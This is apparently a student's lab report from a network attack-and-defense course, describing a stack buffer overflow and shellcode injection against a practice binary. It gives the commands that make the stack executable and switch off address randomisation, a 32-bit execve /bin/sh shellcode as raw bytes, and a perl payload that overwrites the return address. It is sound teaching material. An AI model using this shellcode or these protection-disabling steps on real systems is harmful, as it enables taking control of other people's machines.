1. 程式人生 > >20155311《網絡對抗》PC平臺逆向破解(二)

20155311《網絡對抗》PC平臺逆向破解(二)

mark body echo pac apt ack 破解 運行 info

20155311《網絡對抗》PC平臺逆向破解(二)

  • shellcode註入

    什麽是shellcode?
    shellcode是一段代碼,溢出後,執行這段代碼能開啟系統shell。
  • 前期準備——安裝execstack,修改設置

  • 輸入execstackapt-get install execstack下載exectstack

    設置堆棧可執行execstack -s pwn20155311
    看看堆棧是否可執行execstack -q pwn20155311
  • 輸入more /proc/sys/kernel/randomize_va_space,查詢地址隨機化狀態(2表示開啟,0表示關閉),若是開啟狀態,則關閉地址隨機化

    關閉地址隨機化echo "0" > /proc/sys/kernel/randomize_va_space
    技術分享圖片
  • 準備完畢,開始運行並gdb調試

    輸入shellcode的內容perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode運行pwn20155311,輸入命令(cat input_shellcode;cat) | ./pwn20155311
  • 通過設置斷點,來查看註入buf的內存地址

    技術分享圖片
  • 知道shellcode地址,所以修改為perl -e ‘print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"‘ > input_shellcode

  • 查看shellcode轉換進制內容xxd input_shellcode,並運行驗證是否成功(cat input_shellcode;cat) | ./pwn20155311

    技術分享圖片

20155311《網絡對抗》PC平臺逆向破解(二)